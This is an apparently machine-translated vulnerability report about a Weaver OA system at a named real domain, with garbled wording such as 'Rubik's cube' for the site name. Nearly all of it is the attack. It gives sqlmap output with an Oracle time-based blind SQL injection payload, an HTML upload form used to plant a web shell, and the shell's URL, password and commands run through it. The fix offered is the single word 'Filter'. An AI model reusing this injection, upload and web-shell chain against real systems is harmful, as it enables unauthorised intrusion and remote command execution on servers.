A certain system of Rubik's cube has SQL injection, and getshell can be used.

A certain system of Rubik's cube has SQL injection, and getshell can be used.

Weaver systems used

Http://oa.52mf.cn
 

Injection Point http://oa.52mf.cn/homepage/LoginHomepage.jsp? Hpid = 52 * & isfromportal = 1

custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] y[10:51:27] [INFO] resuming back-end DBMS 'oracle'[10:51:27] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: URIParameter: #1*    Type: AND/OR time-based blind    Title: Oracle AND time-based blind    Payload: http://oa.52mf.cn:80/homepage/LoginHomepage.jsp?hpid=52 AND 6364=DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(90)||CHR(106)||CHR(82),5)&isfromportal=1---

available databases [1]:[*] ECOLOGY

Getshell can be used for arbitrary uploads.


Construct a form


 

<form method='post' action='http://oa.52mf.cn/tools/SWFUpload/upload.jsp'  enctype="multipart/form-data" > <input type="file" id="file" name="test" style="height:20px;BORDER: #8F908B 1px solid;"/><button type=submit value="getshell">getshell</button> </form>

Access http://oa.52mf.cn/nullacc.jsp password 023

Execute Command

Http://oa.52mf.cn/nullacc.jsp? Pwd = 023 & cmd = ipconfig

 

net user
 

whoami
 

 

Solution:

Filter